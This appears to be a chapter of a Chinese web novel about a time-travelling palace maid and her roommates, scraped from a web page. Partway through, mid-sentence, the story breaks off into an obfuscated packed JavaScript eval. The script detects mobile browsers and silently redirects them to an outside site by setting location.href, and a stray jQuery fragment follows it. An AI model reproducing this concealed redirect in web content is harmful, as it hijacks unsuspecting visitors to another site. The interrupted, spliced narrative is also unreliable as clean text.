芸香和冬梅在宫里相依为命多年,冬梅是不准备成亲的,所以那会她们有个约定,等后面年岁大了,找机会出宫,芸香和未婚夫成亲生子,到时候就让孩子认冬梅当干娘,由芸香的孩子给冬梅养老。


    现在孙耀祖已经把芸香的妹妹娶进门,显然这个养老计划是从开头就夭折了,芸香没来得及想自己将来怎么办,第一反应是觉得很对不起冬梅。


    冬梅翻了个白眼,“我们年纪又不大,养老的事儿可以以后再考虑,现在该想的应该是你要怎么办?”


    “我们还打点出宫吗?”


    “不出宫那我们现在就要好好攒钱了,不管以后要做什么,没有钱肯定是什么也干不了。还有最重要的,你还要养着你家里吗?”


    冬梅看了眼芸香的脸色,又说了句,“还要养你那个废物妹夫吗?”


    芸香失笑,摇了摇头说道,“你什么时候学会拐弯抹角了?都变得不像你了。别的先不提,我家里自然是不养了,至于妹夫,我那会能养我未婚夫读书,现在他成亲了,以后的责任自然是由他娘子负担了,和我这个大姑子有什么关系。”


    冬梅满意地点点头,说道,“你能想明白就好,我真怕你傻乎乎地被套进去,到时候人财两失。到了年纪出宫,要是手里有存钱,备份嫁妆,本来还能嫁个士绅地主的,若是运气好,还能嫁个小官当续弦填房,但是如果傍身的钱财被榨干了,到时候就真完了。”


    芸香有些悲观,“这个后面再说吧,自家青梅竹马都能反悔,别说陌生的人家的,别到时候又跳进火坑了。”


    冬梅握了握她的手,安慰道,“没事,最多不过我们都不成亲,我们互相扶持过日子,到时候去慈幼局领养个孩子,我们好好养,养大了给我们养老。”


    芸香无奈地点头,“一步一步走着看吧!”


    刚说完话,门口就传来一阵叽叽喳喳的声音,有个清脆的声音笑的特别响亮。随着房门“吱呀”一声响,两三个宫女相伴着走进屋来。


    走在最前面的是一个杏眼桃腮的美人,她梳着和大家一样的双环髻,斜斜插着一支海棠花样的素银簪子,简单雕刻的海棠花栩栩如生,衬的她和海棠花一样娇美。


    她身上穿着和大家一样的宫女制服,但熨烫地特别齐整,看不见一条皱痕。在衣领袖口衣摆这些不起眼的地方,绣上了细细的祥云纹,走进屋子的时候,岑秋感觉昏暗的屋子都亮堂了起来。


    顿时明白了蓬荜生辉的意思。


    待她靠近来,岑秋都能闻到她身上的香风。


    她的目光从芸香冬梅身上轻轻扫过,很平滑地略过了岑秋和晓玲,直接把他俩当成了空气,描的细细的柳眉轻挑,径自走向自己的柜子,拿出自己的包裹,背靠着大家放在靠墙的大通铺上,打开掏出几个瓶瓶罐罐,就是慢慢地往自己的脸上手上抹。


    芸香和冬梅对视了一眼,没再说话。岑秋和晓玲已经缩在了大通铺的一角。


    岑秋目光定定地看着墙壁的裂纹,心里默念:我是西瓜我是西瓜我是西瓜……


    这个不像宫女的美人她们可惹不起,她是这一片的管事太监领过来的,自从住进来就一直享受特权。她们这一片庑房住的小宫女都是干宫里那些粗活苦差事的,就她,从头到尾,每天就打扮的漂漂亮亮出门,平时也不见人影,问问吧,也没人知道她到底在哪里当差。


    岑秋记得芸香曾经隐晦地提起过,宫中暗中有这个传统,就是管事的太监姑姑嬷嬷,会暗中养一些美貌的小宫女,然后养大了不拘是献给皇帝宗室当丫头,运气好的能捞个妾室当当,就算是攀上高枝当凤凰了,或者给了后宫的主子们养着固宠。


    这个安若估摸就是这么个身份,平时不见人也许是养她的人在培训她。


    跟在她身边的小宫女这会嗅着鼻子,深深吸了口气,“好哇你们居然吃糖。”她四下里看了下,觉得芸香最好说话,冲芸香伸出手,“芸香姐姐分我一块呗。”


    另一个小宫女期期艾艾地凑过来,“芸香姐姐我也想要。”


    一边说着,还很不争气地咽了口口水。


    岑秋就看安若转过头,皱着柳眉,十分嫌弃地瞪了她们一眼,从腰间解下一个荷包,从里面拿出两丸圆圆的东西,伸出手,抬着下巴点点手,“喏,拿去吃,别丢人了。”


    那两个小宫女面对面看了看,然后小跑过来接过,直接往嘴里一塞,含糊说道,“谢谢安若姐姐。”


    安若轻嗤了一声,又转身面对墙壁收拾她的去了。


    冬梅耸了耸肩,一声不吭,打开房门走了出去,就跟另外两个小宫女走了个对脸。


    “哟,冬梅。”小喜笑嘻嘻地说道,“出去呀。”


    冬梅点点头,也不说出去干嘛,直接就走了,留小喜在后面跺脚。


    小喜很爱占小便宜,室友干什么都要凑一凑,她便宜占的又很有分寸,吃一口咸菜,蹭一碗热水,大家都不好说她,但是被占便宜又被弄的很难受,所以久而久之,大家都学会了面对她,不跟她拉扯,直接走。


    岑秋和晓玲直接卷着被子在床位上躺下了,天色已经灰蒙蒙暗下来了,很快就会黑下来,她们屋里是有油灯,但是灯油很贵的,没什么事根本不会想着点灯,都会在彻底天黑前躺到床上去。


    小喜凑到安若前面,“安若我今天手在冷水里冻着了,能不能给我一点养手膏擦擦。”


    安若唰地一下把东西推到包袱皮里,然后掩上了,回了两个字,“不能。”


    小喜脸上的笑僵住了,眼中闪过一丝嫉恨,不过她很快就恢复了笑容,凑到两个小宫女身边,追捧道,“哇今天你俩怎么这么好看,是不是有什么喜事呀?”


    两个小宫女你看看我我看看你,一个小宫女摸着脸,迟疑地说道,“我今天真的很好看吗?”


    可能是和安若待的时间多了,被她影响,她们两个比一般


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269964|197744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的小宫女更注意一点自己的形象,也潜移默化学到了一点保养的皮毛,比如不搬运重物,不长时间把手放在水中。


    她俩不像安若,背后有人养着,所以她们的这个行为在管事姑姑和共事的宫人看来,就是偷奸耍滑,天天都被骂被罚,被打压的她们都没自信了,突然听到小喜说她俩好看,顿时又惊又喜。


    “真的呀!”小喜重重地点了点头,“哇你们在吃什么呢,好甜好香。”


    说着流露出向往。


    “额……”她俩偷偷指了指安若,“安若姐姐给我们的,我们也不知道是什么,就是甜滋滋的清清凉凉的。”


    小喜虽然脸皮厚,但也知道安若不待见自己,刚刚凑上去已经被她给了个没脸,她有自知之明,再凑上去人家也不会搭理她,


    她在屋里环视一圈,见晓玲在那探头探脑,几步过来在晓玲边上坐下,“晓玲你知道吗我过几天就可以被调走啦!”


    “是吗?”晓玲眨眨眼睛,“你去哪里?”


    小喜乐滋滋地说道,“暂时还不确定呢,等过几天确定了我跟你说呀。”


    晓玲点点头,“好呀。”


    岑秋看着晓玲装傻充愣,心道,这古代的小孩是一个都不能轻视,全员奥斯卡,都这么能演,她这个半道出家的还是装傻吧!


    不是她看不起自己,她真的觉得,在后宫生存和演戏这一块,她根本干不过这些古代土著,她感觉自己在那些宫斗剧中,就是活不过三集的那种炮灰,在这卫朝后宫,小心翼翼苟了几个月,真是每天都在胆战心惊。


    每天都觉得小命不保,脑袋在脖子上摇摇欲坠。


    这后宫对她太不友好了!


    心情不顺就骂系统!


    建元帝跟着骂了句:


    “该死的系统!”


    骂完他噗地笑了一声,小秋真是太有意思了啊!


    冬梅出去没一会,就端着一小盆的热水回来了,她端着热水喊岑秋,“哑儿过来。”


    岑秋麻溜地下床,快走几步上前结果水,“谢谢冬梅姐姐。”


    这时小喜忽然大笑出声,“哑儿你真是,脑子还没好呢?你说话怎么还是这么怪异的呀?你以后还是少说话,别影响了咱们宫里的形象。”


    岑秋冲她尬笑了一下,心里一顿mmP,转头去角落里洗漱去了。


    对于她这个南方人来说,吃的不好睡的不好都能忍了,但是晚上睡觉前不洗漱,那真是让她破大防,就一天没洗,她感觉她都臭了。但是这宫里热水太难得了,那些茶水房有炭火有热水,但根本不是她这种小宫女能染指的。


    后来还是腊梅看出了她的崩溃,每天想办法给她打一小盆的热水给她洗漱,岑秋这才觉得日子忍忍还能过,不然真的死了算了,完全没有一点希望了。


    “哑儿等等我。”晓玲和她待久了,也跟她学了一点爱干净,加上她也不想搭理小喜,忙过来蹭点热水洗漱。